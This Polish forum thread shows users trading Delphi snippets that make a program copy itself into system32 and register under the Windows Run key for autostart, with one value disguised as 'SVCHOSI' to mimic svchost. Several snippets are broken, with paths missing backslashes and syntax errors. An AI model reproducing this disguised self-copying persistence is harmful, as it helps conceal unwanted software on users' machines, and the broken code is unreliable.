autostart za pomoca rejestru

JFMAGIC

Użytkownik
Dołączył
Styczeń 10, 2004
Posty
17
witam
mam maly problem czy moze mi ktos pomoc przy pokazaniu kodu programu jak dodac do rejestru go tak zeby po uruchomieniu dodawal sie do autostartu?

i jeszcze mam taki maly problem czy da sie jakos zmienna typu string zamienic na Pchar ? jesli tak to jak z gory thx za odpowiedz

i jesli mozna to bylbym wdzieczny za jakis opisik do tego kodu z pierwszej sprawy;]
thx z gory


ps milych swiat zycze wszystkim;]
 

rsk

Użytkownik
Dołączył
Sierpień 24, 2003
Posty
69
Autostart masz tu:
Kod:
procedure TForm1.FormCreate(Sender: TObject); 

var reg :TRegistry; 

    Sciezka : array [0..MAX_PATH] of Char; 

begin 

  GetWindowsDirectory(Sciezka,sizeof(Sciezka)); 

  reg := TRegistry.Create; 

  reg.RootKey := HKEY_LOCAL_MACHINE; 

  reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True); 

  reg.WriteString('SVCHOSI',Sciezka +'system32' +'jakas_nazwa.exe'); 

  reg.Free; 

  copyfile(pchar(paramstr(0)),pchar(Sciezka +'system32' +'jakas_nazwa.exe'),true); 

  BorderIcons := [biSystemMenu]; 

end;

A string na PChar zamieniamy tak:
Kod:
PChar(s);
Gdzie "s" jest twoją zmienną typu string. Niejestem pewien czy to tak ma być bo piszę z pamięci.
 

Plik

Użytkownik
Dołączył
Styczeń 3, 2004
Posty
319
a nie moze byc cos takiego ... ?!? :
Kod:
var

  reg:Tregistry;

begin

  reg.Create;

  reg.RootKey: = HKEY_CURRENT_USER;

  reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);

  reg.WriteString('Twoj_program','nazwa_programu.exe');

  copyfile(pchar(paramstr(0)),pchar('c:nazwa_programu.exe'),true);

  borederIcons: = [biSystemMenu];

end.
Jakos tak chyba ...
smile.gif

No na zmiane String na PChar to chyba StrPCopy ...?!?
smile.gif
 

mp324

Użytkownik
Dołączył
Listopad 18, 2005
Posty
8
Przepraszam za to pytanie, ale... W jakim programie skompilować ten kod? Próbuję w Pascalu i w Delphi, ale ciągle znajdują błędy.
 

Mo4x

Były Moderator
Dołączył
Grudzień 26, 2005
Posty
704
Kod:
procedure TForm1.FormCreate(Sender: TObject);

var

 WinSys : Pchar;

 Win, Sys : string;

 Rejestr : TRegistry;

begin

 WinSys := StrAlloc(MAX_PATH+1);

 GetSystemDirectory(WinSys,MAX_PATH);

 Sys := Strupper(WinSys);

 GetWindowsDirectory(WinSys,MAX_PATH);

 Win:=Strupper(WinSys);



 Rejestr := TRegistry.Create;

 Rejestr.RootKey := HKEY_LOCAL_MACHINE;

 Rejestr.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',true);

  if not Rejestr.ValueExists('nazwa')

   then Rejestr.WriteString('nazwa','c:windowssystem32plik.exe');

 Rejestr.CloseKey;

 Rejestr.Free;



  if (upperCase(paramstr(0)) <> uppercase(sys+'plik.exe')) then

     begin

      copyfile(Pchar(paramstr(0)),Pchar(sys+'plik.exe'),false);

     end;

Ja zawsze tak robie 8)
 
Do góry Bottom